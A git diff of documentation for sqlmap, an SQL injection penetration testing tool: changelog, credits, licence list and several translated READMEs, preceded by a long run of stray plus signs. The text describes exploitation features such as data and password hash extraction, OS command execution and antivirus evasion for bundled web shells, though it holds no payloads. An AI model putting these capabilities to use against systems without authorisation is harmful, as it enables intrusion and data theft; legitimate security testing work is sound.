+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + /> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/AUTHORS b/doc/AUTHORS index d3758d676d3..300711a3a14 100644 --- a/doc/AUTHORS +++ b/doc/AUTHORS @@ -1,7 +1,7 @@ -Bernardo Damele Assumpcao Guimaraes (@inquisb) - - -Miroslav Stampar (@stamparm) - - -You can contact both developers by writing to dev@sqlmap.org +Bernardo Damele Assumpcao Guimaraes (@inquisb) + + +Miroslav Stampar (@stamparm) + + +You can contact both developers by writing to dev@sqlmap.org diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 88bbcf56e19..dada8fb47e0 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,53 @@ +# Version 1.10 (2026-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1) + +# Version 1.9 (2025-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1) + +# Version 1.8 (2024-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1) + +# Version 1.7 (2023-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) + +# Version 1.6 (2022-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1) + +# Version 1.5 (2021-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1) + +# Version 1.4 (2020-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1) + +# Version 1.3 (2019-01-05) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1) + +# Version 1.2 (2018-01-08) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1) + +# Version 1.1 (2017-04-07) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1) + # Version 1.0 (2016-02-27) * Implemented support for automatic decoding of page content through detected charset. @@ -151,7 +201,7 @@ * Major code cleanup. * Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. * Updated user's manual. -* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html. +* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html. # Version 0.8 release candidate (2009-09-21) @@ -323,7 +373,7 @@ * Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; * Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); * Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); -* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; +* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; * Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; * Improved logging functionality: passed from banal 'print' to Python native logging library; * Added support for more than one parameter in `-p` command line option; diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf deleted file mode 100644 index 0a17b98f32b..00000000000 Binary files a/doc/FAQ.pdf and /dev/null differ diff --git a/doc/README.pdf b/doc/README.pdf deleted file mode 100644 index fd5e4f72a95..00000000000 Binary files a/doc/README.pdf and /dev/null differ diff --git a/doc/THANKS.md b/doc/THANKS.md index e9eb7456d55..62d4ba136cf 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -109,9 +109,15 @@ Alessandro Curio, Alessio Dalla Piazza, * for reporting a couple of bugs +Alexis Danizan, +* for contributing support for ClickHouse + Sherif El-Deeb, * for reporting a minor bug +Thomas Etrillard, +* for contributing the IBM DB2 error-based payloads (RAISE_ERROR) + Stefano Di Paola, * for suggesting good features @@ -148,11 +154,6 @@ Giorgio Fedon, Kasper Fons, * for reporting several bugs -Jose Fonseca, -* for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only - http://code.google.com/p/jrfonseca/wiki/Gprof2Dot - http://code.google.com/p/jrfonseca/wiki/XDot - Alan Franzoni, * for helping out with Python subprocess library @@ -193,16 +194,13 @@ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features -Chris Hall, -* for coding the prettyprint.py library - Tate Hansen, * for donating to sqlmap development Mario Heiderich, Christian Matthies, Lars H. Strojny, -* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org +* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS Kristian Erik Hermansen, * for reporting a bug @@ -317,6 +315,9 @@ Michael Majchrowicz, Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md +Francesco Marano, +* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload + Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py @@ -486,6 +487,9 @@ Marek Sarvas, Philippe A. R. Schaeffer, * for reporting a minor bug +Henri Salo +* for a donation + Mohd Zamiri Sanin, * for reporting a minor bug @@ -528,6 +532,9 @@ Duarte Silva M Simkin, * for suggesting a feature +Tanaydin Sirin, +* for implementation of ncurses TUI (switch --tui) + Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server @@ -730,6 +737,9 @@ rmillet, Rub3nCT, * for reporting a minor bug +sapra, +* for helping out with Python multiprocessing library on MacOS + shiftzwei, * for reporting a couple of bugs @@ -764,6 +774,12 @@ ultramegaman, Vinicius, * for reporting a minor bug +virusdefender +* for contributing WAF scripts safeline.py + +w8ay +* for contributing an implementation for chunked transfer-encoding (switch --chunked) + wanglei, * for reporting a minor bug diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 2bf01b6ea02..03c0c01e8f4 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -2,27 +2,20 @@ This file lists bundled packages and their associated licensing terms. # BSD -* The Ansistrm library located under thirdparty/ansistrm/. +* The `Ansistrm` library located under `thirdparty/ansistrm/`. Copyright (C) 2010-2012, Vinay Sajip. -* The Beautiful Soup library located under thirdparty/beautifulsoup/. +* The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`. Copyright (C) 2004-2010, Leonard Richardson. -* The ClientForm library located under thirdparty/clientform/. +* The `ClientForm` library located under `thirdparty/clientform/`. Copyright (C) 2002-2007, John J. Lee. Copyright (C) 2005, Gary Poster. Copyright (C) 2005, Zope Corporation. Copyright (C) 1998-2000, Gisle Aas. -* The Colorama library located under thirdparty/colorama/. +* The `Colorama` library located under `thirdparty/colorama/`. Copyright (C) 2013, Jonathan Hartley. -* The Fcrypt library located under thirdparty/fcrypt/. +* The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The Odict library located under thirdparty/odict/. - Copyright (C) 2005, Nicola Larosa, Michael Foord. -* The Oset library located under thirdparty/oset/. - Copyright (C) 2010, BlueDynamics Alliance, Austria. - Copyright (C) 2009, Raymond Hettinger, and others. -* The PrettyPrint library located under thirdparty/prettyprint/. - Copyright (C) 2010, Chris Hall. -* The SocksiPy library located under thirdparty/socks/. +* The `SocksiPy` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. ```` @@ -51,17 +44,13 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # LGPL -* The Chardet library located under thirdparty/chardet/. +* The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The Gprof2dot library located under thirdparty/gprof2dot/. - Copyright (C) 2008-2009, Jose Fonseca. -* The KeepAlive library located under thirdparty/keepalive/. +* The `KeepAlive` library located under `thirdparty/keepalive/`. Copyright (C) 2002-2003, Michael D. Stenner. -* The MultipartPost library located under thirdparty/multipart/. +* The `MultipartPost` library located under `thirdparty/multipart/`. Copyright (C) 2006, Will Holcomb. -* The XDot library located under thirdparty/xdot/. - Copyright (C) 2008, Jose Fonseca. -* The icmpsh tool located under extra/icmpsh/. +* The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. ```` @@ -234,7 +223,7 @@ Library. # PSF -* The Magic library located under thirdparty/magic/. +* The `Magic` library located under `thirdparty/magic/`. Copyright (C) 2011, Adam Hupp. ```` @@ -279,9 +268,15 @@ be bound by the terms and conditions of this License Agreement. # MIT -* The bottle web framework library located under thirdparty/bottle/. - Copyright (C) 2012, Marcel Hellkamp. -* The Termcolor library located under thirdparty/termcolor/. +* The `bottle` web framework library located under `thirdparty/bottle/`. + Copyright (C) 2024, Marcel Hellkamp. +* The `identYwaf` library located under `thirdparty/identywaf/`. + Copyright (C) 2019-2021, Miroslav Stampar. +* The `ordereddict` library located under `thirdparty/odict/`. + Copyright (C) 2009, Raymond Hettinger. +* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. + Copyright (C) 2010-2024, Benjamin Peterson. +* The `Termcolor` library located under `thirdparty/termcolor/`. Copyright (C) 2008-2011, Volvox Development Team. ```` @@ -308,7 +303,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Public domain -* The PyDes library located under thirdparty/pydes/. +* The `PyDes` library located under `thirdparty/pydes/`. Copyleft 2009, Todd Whiteman. -* The win_inet_pton library located under thirdparty/wininetpton/. +* The `win_inet_pton` library located under `thirdparty/wininetpton/`. Copyleft 2014, Ryan Vennell. diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md new file mode 100644 index 00000000000..29d8e9f15b0 --- /dev/null +++ b/doc/translations/README-ar-AR.md @@ -0,0 +1,68 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +
+ +برنامج sqlmap هو أداة اختبار اختراق مفتوحة المصدر تقوم بأتمتة عملية اكتشاف واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كشف قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترف، ومجموعة واسعة من الخيارات بما في ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملفات الأساسي، وتنفيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق. + +لقطات الشاشة +---- + +
+ +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +
+ +يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات في الويكي. + +التثبيت +---- + +يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master). + +يفضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap): + +
+ + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +
+ +يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** و **2.7** و **3.x** على أي نظام تشغيل. + +الاستخدام +---- + +للحصول على قائمة بالخيارات والمفاتيح الأساسية استخدم: + +
+ + python sqlmap.py -h + +
+ +للحصول على قائمة بجميع الخيارات والمفاتيح استخدم: + +
+ + python sqlmap.py -hh + +
+ +يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601). +للحصول على نظرة عامة على إمكانيات sqlmap، وقائمة الميزات المدعومة، ووصف لجميع الخيارات والمفاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +الروابط +---- + +* الصفحة الرئيسية: https://sqlmap.org +* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues +* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki +* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* تويتر: [@sqlmap](https://x.com/sqlmap) +* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index 79c24538a94..d66b5301e11 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![Лиценз](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. @@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6.x** и **2.7.x** на всички платформи. +sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи. Използване ---- @@ -39,12 +39,12 @@ sqlmap работи самостоятелно с [Python](http://www.python.org Връзки ---- -* Начална страница: http://sqlmap.org +* Начална страница: https://sqlmap.org * Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md new file mode 100644 index 00000000000..8e4cfe36905 --- /dev/null +++ b/doc/translations/README-bn-BD.md @@ -0,0 +1,62 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +**SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও। + + + +স্ক্রিনশট +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-এর বিভিন্ন ফিচারের ডেমোনস্ট্রেশন দেখতে পারেন। + +ইনস্টলেশন +--- +সর্বশেষ টারবলে ডাউনলোড করুন [এখানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সর্বশেষ জিপ ফাইল [এখানে](https://github.com/sqlmapproject/sqlmap/zipball/master)। + +অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে ক্লোন করুন: + +``` +git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev +``` + +SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে। + + + +ব্যবহারের নির্দেশিকা +--- + +বেসিক অপশন এবং সুইচসমূহ দেখতে ব্যবহার করুন: + +``` +python sqlmap.py -h +``` + +সমস্ত অপশন ও সুইচের তালিকা পেতে ব্যবহার করুন: + +``` +python sqlmap.py -hh +``` + +আপনি একটি নমুনা রান দেখতে পারেন [এখানে](https://asciinema.org/a/46601)। +SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এবং কনফিগারেশন সম্পর্কে বিস্তারিত জানতে [ব্যবহারকারীর ম্যানুয়াল](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামর্শ দেওয়া হচ্ছে। + + + +লিঙ্কসমূহ +--- + +* হোমপেজ: https://sqlmap.org +* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ইস্যু ট্র্যাকার: https://github.com/sqlmapproject/sqlmap/issues +* ব্যবহারকারীর ম্যানুয়াল: https://github.com/sqlmapproject/sqlmap/wiki +* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md new file mode 100644 index 00000000000..db813955337 --- /dev/null +++ b/doc/translations/README-ckb-KU.md @@ -0,0 +1,67 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + + +
+ + + +بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا. + + +سکرین شاتی ئامرازەکە +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت. + + +دامەزراندن +---- + +بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت. + +باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک. + +چۆنیەتی بەکارهێنان +---- + +بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە: + + python sqlmap.py -h + +بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا: + + python sqlmap.py -hh + +دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601). +بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +بەستەرەکان +---- + +* ماڵپەڕی سەرەکی: https://sqlmap.org +* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues +* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki +* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە + +وەرگێڕانەکان diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md new file mode 100644 index 00000000000..65d96220ea5 --- /dev/null +++ b/doc/translations/README-de-DE.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. + +Screenshots +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen. + +Installation +--- + +[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. + +Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform. + +Benutzung +--- + +Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl: + + python sqlmap.py -h + +Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl: + + python sqlmap.py 